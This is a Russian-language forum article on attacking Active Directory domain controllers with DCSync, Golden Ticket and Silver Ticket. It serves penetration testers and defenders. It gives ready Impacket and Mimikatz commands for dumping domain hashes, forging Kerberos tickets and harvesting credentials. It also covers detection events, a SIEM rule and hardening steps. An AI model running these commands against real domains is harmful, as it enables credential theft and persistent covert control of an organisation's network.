

Статья Атаки на контроллер домена Active Directory: DCSync, Golden Ticket и Silver Ticket на практике

 codeby.net/threads/ataki-na-kontroller-domena-active-directory-dcsync-golden-ticket-i-silver-ticket-na-praktike.92652

Cool9Ice

April 15, 2026



Ты получил Domain Admin. Отработал Kerberoasting, поднял привилегии через делегирование, или просто нашёл пароль DA в SYSVOL-скрипте (все эти техники - от разведки до первого DA - разобраны в [полном гайде по пентесту Active Directory](#)) (да, в 2025 году это всё ещё работает). Вопрос в другом: что дальше? Как закрепиться в домене так, чтобы даже после смены пароля скомпрометированной учётки ты сохранил доступ?

Ответ - DCSync для дампа хэшей, а затем Golden и Silver Ticket для персистентности через форжинг Kerberos-тикетов. Полная цепочка post-exploitation атак на контроллер домена Active Directory: от репликации учётных данных через DCSync до создания «бессмертных» билетов Kerberos. Каждый шаг - с командами, разбором того, что происходит на уровне протокола, и тем, как SOC может это поймать.

Что такое DCSync и почему это ключевая атака на Kerberos

DCSync - техника дампа хэшей паролей домена, которая эксплуатирует легитимный механизм репликации Active Directory. Вместо того чтобы заходить на контроллер домена и тянуть файл NTDS.dit (что шумно и требует физического или RDP-доступа к DC), ты прикидываешься вторым контроллером домена и запрашиваешь у

настоящего DC репликацию учётных данных через [протокол MS-DRSR](#) (Directory Replication Service Remote Protocol).

По классификации MITRE ATT&CK - [подтехника T1003.006](#) (DCSync). Технику активно используют АРТ-группы: по данным MITRE, та же LAPSUS\$ применяла DCSync для извлечения учётных данных из скомпрометированных контроллеров.

Какие права нужны для DCSync атаки Active Directory

DCSync - не уязвимость, а злоупотребление штатной функциональностью. Для выполнения атаки учётная запись должна иметь расширенные привилегии на объекте домена:

- **DS-Replication-Get-Changes** - разрешение на запрос изменений репликации
- **DS-Replication-Get-Changes-All** - разрешение на получение всех данных репликации, включая секреты

По умолчанию этими правами обладают Domain Admins, Enterprise Admins, Administrators и Domain Controllers. Но на практике я регулярно вижу, как эти привилегии делегированы сервисным аккаунтам или учёткам для интеграции с SIEM, бэкап-системами, инструментами мониторинга. Это расширяет поверхность атаки: не обязательно быть DA - достаточно скомпрометировать аккаунт с правами репликации.

Проверить, у кого есть права на DCSync, проще всего через [BloodHound - он визуализирует пути атаки](#) и явно показывает объекты с привилегиями GetChanges и GetChangesAll на домене.

Практика: дамп хэшей через Impacket secretsdump

На Linux-хосте атакующего DCSync выполняется через `secretsdump.py` из набора Impacket. Инструмент отправляет операцию `DsGetNCChanges` к `DRSUAPI` (Directory Replication Service API) на контроллере домена и получает в ответ хэши учётных записей.

Bash:

```
# DCSync с использованием пароля в открытом виде
secretsdump -outputfile 'dcsync' -dc-ip 10.0.0.1
CORP/admin:'P@ssw0rd'@dc01.corp.local
```

```
# DCSync через Pass-the-Hash (без знания пароля)
secretsdump -outputfile 'dcsync' -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip
10.0.0.1 CORP/admin@dc01.corp.local
```

```
# DCSync через Pass-the-Ticket (с использованием Kerberos-тикета)
KRB5CCNAME=ticket.ccache secretsdump -k -no-pass -outputfile 'dcsync' -dc-ip
10.0.0.1 @dc01.corp.local
```

Нюанс, на который стоит обратить внимание: `secretsdump` сначала устанавливает SMB-соединение, а потом выполняет DCSync. При Kerberos-аутентификации инструменту нужен SPN `CIFS/dc01.corp.local` в тикете. `Mimikatz`, напротив, использует LDAP перед DCSync, поэтому требует SPN `LDAP/dc01.corp.local`. Разница существенна при работе с тикетами - лично я на это наступал, когда Silver Ticket для CIFS не срабатывал через `Mimikatz`, и наоборот.

После выполнения `secretsdump` создаёт несколько файлов: `dcsync.ntds` (NTLM-хэши всех учётных записей), `dcsync.ntds.kerberos` (Kerberos-ключи) и `dcsync.ntds.cleartext` (пароли в открытом виде, если для аккаунта включено обратимое шифрование).

DCSync через Mimikatz

На Windows-хосте DCSync атака выполняется через модуль `lsadump::dcsync` в `Mimikatz`:

Код:

```
# Дамп хэша конкретного пользователя (например, krbtgt)
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt
```

```
# Дамп хэша учётной записи администратора
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator
```

```
# Дамп всех учётных записей
mimikatz # lsadump::dcsync /domain:corp.local /all
```

Результат содержит NTLM-хэш, историю паролей, Kerberos-ключи (AES256, AES128, DES) и SID учётной записи. Для Golden Ticket нас интересует прежде всего хэш учётной записи `krbtgt` - именно этот ключ подписывает все TGT в домене.

Golden Ticket: подделка TGT для полного контроля домена

Golden Ticket - поддельный Ticket Granting Ticket (TGT), подписанный хэшем учётной записи `krbtgt`. По классификации MITRE ATT&CK - подтехника [T1558.001 \(Golden Ticket\)](#).

Почему Golden Ticket работает

Каждый раз, когда пользователь аутентифицируется в домене, KDC (Key Distribution Center) на контроллере домена выдаёт ему TGT - зашифрованный и подписанный ключом учётной записи `krbtgt`. Когда пользователь запрашивает доступ к сервису, он предъявляет TGT контроллеру домена, тот расшифровывает его ключом `krbtgt` и выдаёт TGS (сервисный тикет).

А теперь самое интересное: контроллер домена доверяет TGT, если тикет корректно зашифрован ключом `krbtgt`. Он не проверяет, выдавал ли он этот TGT ранее. Нет

никакой таблицы «выданных билетов». Если у тебя есть хэш krbtgt, ты можешь слепить TGT с произвольными данными - любым SID, членством в любых группах, включая Domain Admins и Enterprise Admins - и DC проглотит его как родной.

Оговорка: на контроллерах домена с установленным KB5008380 (enforcement с октября 2022) Golden Ticket с несуществующим именем пользователя будет отклонён из-за PAC requestor validation. Для обхода нужно использовать имя реально существующего пользователя. На непропатченных DC этого ограничения нет.

Создание Golden Ticket через Mimikatz

Для создания Golden Ticket нужны:

- NTLM-хэш учётной записи krbtgt (получен через DCSync)
- SID домена (формат S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX)
- Имя домена

Код:

```
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a1b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8 /id:500 /groups:513,512,519,518,520 /ptt
```

Разбор параметров:

Параметр	Назначение
/user	Имя пользователя в тикете (на пропатченных DC с KB5008380 должно соответствовать реальному пользователю; на непропатченных - может быть произвольным)
/domain	FQDN домена
/sid	SID домена
/krbtgt	NTLM-хэш учётной записи krbtgt
/id	RID пользователя (500 = Administrator)
/groups	RID групп (513=Domain Users, 512=Domain Admins, 519=Enterprise Admins, 518=Schema Admins, 520=Group Policy Creator Owners). При явном указании /groups Mimikatz использует только перечисленные RID - убедись, что включён 513 (Domain Users), иначе тикет может вызвать аномалии при проверке членства. Для cross-domain атаки из дочернего домена добавь /sids:S-1-5-21-<root-domain-SID>-519 для включения Enterprise Admins корневого домена

/ptt	Pass-the-Ticket - сразу инжектировать тикет в текущую сессию
------	--

/ticket	Альтернатива /ptt - сохранить тикет в файл .kirbi
---------	---

По умолчанию Mimikatz лепит Golden Ticket со сроком жизни 10 лет - при стандартных 10 часах в политике Kerberos. Мягко говоря, заметная аномалия. SOC, который мониторит lifetime TGT, поймаёт это моментально.

Golden Ticket через Impacket

Bash:

```
# Создание Golden Ticket и сохранение в файл .ccache
ticketer.py -nthash a1b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8 -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -domain corp.local Administrator
```

```
# Использование тикета
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass corp.local/Administrator@dc01.corp.local
```

Почему Golden Ticket - это «ядерный» уровень персистентности

Golden Ticket живёт до тех пор, пока не будет дважды сменён пароль учётной записи krbtgt. Именно дважды - AD хранит текущий и предыдущий пароль krbtgt для совместимости при репликации. Одна смена оставляет старый хэш в истории, и тикеты, подписанные им, продолжают работать.

А теперь грустная правда: пароль krbtgt в большинстве организаций не менялся с момента создания домена. Я видел домены, где krbtgt не ротировался 8+ лет. Golden Ticket, созданный сегодня, будет работать месяцы и годы - пока команда IR не проведёт полную ротацию krbtgt.

Silver Ticket: атака на конкретный сервис без обращения к DC

Silver Ticket - поддельный Ticket Granting Service (TGS), подписанный хэшем учётной записи конкретного сервиса. Техника T1558.002 в MITRE ATT&CK (Steal or Forge Kerberos Tickets: Silver Ticket, тактика Credential Access).

Чем Silver Ticket отличается от Golden Ticket

Golden Ticket - поддельный TGT, который предъявляется контроллеру домена для получения сервисных тикетов. Silver Ticket - поддельный TGS, который предъявляется непосредственно целевому сервису. При использовании Silver Ticket контроллер домена вообще не участвует - нет AS-REQ, нет AS-REP, нет TGS-REQ, нет TGS-REP. Тишина в логах DC.

Sean Metcalf (adsecurity.org) считает, что Silver Ticket может быть опаснее Golden Ticket: область действия ограничена конкретным сервисом, зато для создания нужен только хэш сервисного аккаунта (а не krbtgt), и отсутствие коммуникации с DC делает обнаружение значительно сложнее. Лично я с этим согласен - на нескольких проектах Silver Ticket на CIFS к файловому серверу оставался незамеченным неделями.

Исторически большинство сервисов в Windows не валидировали PAC (Privilege Attribute Certificate) - не отправляли контрольную сумму PAC на контроллер домена для проверки. С ноября 2022 года (KB5020009, enforcement phase) Microsoft включила обязательную проверку PAC-подписи. На полностью пропатченных системах Silver Ticket с фиктивным PAC будет отклонён. Но в реальных средах непропатченные серверы - обычное дело. На таких хостах атакующий создаёт Silver Ticket с фиктивным PAC, указывает членство в группе Domain Admins, и целевой сервис принимает его без вопросов.

Создание Silver Ticket через Mimikatz

Для Silver Ticket нужны:

- NTLM-хэш сервисной учётной записи или компьютерного аккаунта
- SID домена
- SPN (Service Principal Name) целевого сервиса
- FQDN целевого сервера

Код:

```
mimikatz # kerberos::golden /admin:ЛюбоеИмя /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:fileserver.corp.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt
```

Команда Mimikatz та же - kerberos::golden, но параметры /target и /service превращают Golden в Silver Ticket. Неочевидно, но так оно работает.

Популярные SPN для Silver Ticket атаки

Сервис (SPN)	Что даёт атакующему
cifs	Доступ к файловым шарам (SMB), включая C\$, ADMIN\$
http	Доступ к веб-сервисам (SharePoint, ADFS, Exchange OWA)
mssql	Доступ к SQL Server под произвольным пользователем
host	Выполнение задач через Task Scheduler, WMI
ldap	DCSync через LDAP (если цель - контроллер домена)

Обрати внимание на ldap - если ты сделаешь Silver Ticket для LDAP на контроллере домена, ты фактически можешь выполнить DCSync без прав DA, используя только хэш компьютерной учётной записи DC. Красивый вектор.

Откуда берётся хэш для Silver Ticket

Для компьютерных аккаунтов хэш можно стянуть несколькими путями:

1. Через Mimikatz на целевом хосте (если у тебя локальный админ):

Код:

```
mimikatz # privilege::debug  
mimikatz # sekurlsa::logonpasswords
```

1. Через DCSync (если уже есть хэш krbtgt - дампишь хэш компьютерного аккаунта):

Код:

```
mimikatz # lsadump::dcsync /domain:corp.local /user:FILESERVER$
```

1. Через Kerberoasting - если сервис работает под доменной учётной записью с SPN и слабым паролем.

Golden Ticket vs Silver Ticket: что выбрать для персистентности

Критерий	Golden Ticket	Silver Ticket
Тип тикета	TGT (Ticket Granting Ticket)	TGS (Ticket Granting Service)
Какой хэш нужен	krbtgt	Сервисный или компьютерный аккаунт
Область действия	Весь домен - любой сервис	Конкретный сервис на конкретном сервере
Обращение к DC	Да - клиент предъявляет TGT контроллеру домена в TGS-REQ для получения сервисного тикета	Нет на непропатченных системах; на системах с KB5020009 сервис обращается к DC для валидации PAC
Обнаружение	Средняя сложность - логи на DC	Высокая сложность - логи только на целевом хосте

Срок жизни	До двойной смены пароля krbtgt	До смены пароля сервисного аккаунта
MITRE ATT&CK ID	T1558.001	T1558.002

На практике я использую оба в зависимости от задачи. Golden Ticket - когда нужен полный контроль и возможность ходить по всему домену. Silver Ticket - когда нужно тихо закрепиться на конкретном сервере (файловом или SQL), минимизируя следы в логах контроллера домена. На одном проекте мы держали Silver Ticket на MSSQL три недели - SOC ни разу не среагировал, потому что логи с SQL-сервера в SIEM просто не пересылались.

Полная цепочка атаки: пошаговый сценарий

Допустим, ты получил права Domain Admin через атаку на делегирование или Kerberoasting. Вот полная последовательность действий для закрепления в домене.

 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом [One Level или выше](#)

Получить доступ просто — достаточно проявить активность на форуме

Детектирование атак на контроллер домена Active Directory

Детектирование DCSync

DCSync оставляет характерные следы в логах Security на контроллере домена:

- **Event ID 4662** (An operation was performed on an object) - фильтруй по GUID расширенных прав в поле Properties: {1131f6aa-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes) и {1131f6ad-9c07-11d1-f79f-00c04fc2dcd2} (DS-Replication-Get-Changes-All). Для полноты детектирования также мониторь {89e95b76-444d-4c62-991a-0facbeda640c} (DS-Replication-Get-Changes-In-Filtered-Set). Если источник запроса - не легитимный контроллер домена, это DCSync.
- **Event ID 4624** (An account was successfully logged on) - коррелируй с Event ID 4662 по Logon ID, чтобы определить источник атаки.

На сетевом уровне мониторь запросы DRSUAPI с операцией DsGetNCChanges от хостов, которые не являются контроллерами домена.

Код:

```
# Пример корреляции в SIEM (псевдокод)
# Алерт: DCSync с нелегитимного хоста
```



```
WHERE EventID = 4662
AND Properties CONTAINS "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}"
AND SubjectUserName NOT IN (known_dc_accounts)
```

Детектирование Golden Ticket

Golden Ticket ловится по аномалиям в Event ID 4769 (A Kerberos service ticket was requested) - запрос сервисного тикета без предшествующего Event ID 4768 (AS-REQ). Golden Ticket не генерирует 4768 на DC, потому что TGT создаётся офлайн - это и есть главный индикатор.

На что смотреть в 4769:

- Ticket Encryption Type = 0x17 (RC4) при политике, требующей AES
- Аномально длинный срок жизни TGT
- Несуществующие имена пользователей (на непропатченных DC; на DC с KB5008380 такие тикеты отклоняются автоматически)

Дополнительно можно включить мониторинг событий 4932 (Synchronization of a replica of an Active Directory naming context has begun) и 4937 (Replication failure begins) для обнаружения аномалий репликации.

Детектирование Silver Ticket

Silver Ticket - самый неприятный для SOC тип атаки, потому что все логи остаются на целевом сервере, а не на DC. Признаки:

- Сервисный тикет без предшествующего TGT-запроса на DC
- PAC с группами, к которым пользователь реально не принадлежит
- Тикет с именем пользователя, который не зарегистрирован в домене

Для детектирования Silver Ticket необходимо включить валидацию PAC на критических сервисах и пересылать локальные логи безопасности с серверов в SIEM. Если логи с хоста не летят в SIEM - Silver Ticket для вас невидим. Так-что первый шаг защиты - банальный сбор логов.

Привилегированный доступ Active Directory: защита от DCSync и тикетных атак

Против DCSync:

- Регулярно проверяй, у кого есть права DS-Replication-Get-Changes-All на объекте домена. Убери лишних - я на одном проекте нашёл 11 аккаунтов с этими правами, из которых 7 были «временными» двухлетней давности.
- Мониторь обращения к DRSUAPI с нелегитимных хостов.
- Используй модель Tiering - учётные записи уровня T0 не должны логиниться на рабочие станции.

Против Golden Ticket:

- Меняй пароль krbtgt дважды с интервалом (учитывая время репликации между DC). Делай это регулярно - как минимум раз в 180 дней.
- Отключи RC4 (etype 23) на уровне домена - это заблокирует Golden Ticket, созданные с RC4-шифрованием. Но учти: DCSync извлекает все типы ключей, включая AES256, поэтому атакующий может создать Golden Ticket с /aes256: . Отключение RC4 - мера defense-in-depth, но не замена ротации krbtgt.

Против Silver Ticket:

- Включи валидацию PAC (KDC проверяет подлинность PAC в TGS). Нагрузка на DC вырастет, но Silver Ticket с фиктивным PAC перестанет работать.
- Используй [gMSA \(Group Managed Service Accounts\)](#) для сервисных учётков - автоматическая ротация паролей каждые 30 дней с генерацией паролей длиной до 240 символов делает дамп хэша бесполезным за пределами окна ротации.
- Мониторь Event ID 4769 на DC: пользователи с избыточным количеством запросов сервисных тикетов, тикеты с нестандартным шифрованием.

Общие меры:

- Внедри мониторинг через BloodHound - регулярно собирай данные SharpHound и анализируй пути эскалации до DA и до объектов с правами репликации.
- Настрой SPN Honeypot: создай сервисную учётную запись с SPN, который не привязан к реальному сервису. Любое событие 4769 для этого SPN - индикатор [Kerberoasting-атаки или разведки](#). Дёшево и эффективно.

Связь с DCShadow и Pass-the-Ticket

Описанные техники не живут в вакууме. Они встраиваются в общую цепочку lateral movement и персистентности:

- **DCShadow** (T1207, Rogue Domain Controller) - регистрирует поддельный контроллер домена, чтобы скрытно вносить изменения в AD. Используется для маскировки изменений, которые делает атакующий.
- **Pass-the-Ticket** (T1550.003) - инжект украденного или форженного Kerberos-тикета в текущую сессию для аутентификации. Golden и Silver Ticket используют именно этот механизм для доставки.
- **SID-History Injection** (T1134.005) - добавление SID привилегированной группы в атрибут SID-History обычного пользователя. В комбинации с DCSync позволяет скрытно повысить привилегии без добавления в группу Domain Admins.

Понимание связей между этими техниками позволяет строить полные цепочки атак при планировании пентеста и - что не менее важно - полные цепочки детектирования при настройке мониторинга.

Итоги: что запомнить

DCSync, Golden Ticket и Silver Ticket - три столпа post-exploitation в Active Directory. DCSync даёт хэши. Golden Ticket даёт неограниченный доступ ко всему домену. Silver Ticket даёт тихий доступ к конкретному сервису. Вместе они формируют персистентность, которая переживёт смену паролей обычных пользователей, переустановку рабочих станций и даже частичный incident response - если команда защиты не знает, что нужно дважды менять пароль krbtgt и ротировать компьютерные аккаунты.

Если ты пентестер - отработай эту цепочку до автоматизма. Если защитник - настраивай мониторинг на Event ID 4662, 4769, 4768, внедряй Tiering, ротируй krbtgt регулярно. Разница между «домен скомпрометирован на неделю» и «домен скомпрометирован навсегда» - именно в понимании этих техник.

Проверь прямо сейчас: когда в последний раз менялся пароль krbtgt в твоём домене? `Get-ADUser krbtgt -Properties PasswordLastSet | Select PasswordLastSet`. Если дата старше полугода - задумайся.

Последнее редактирование: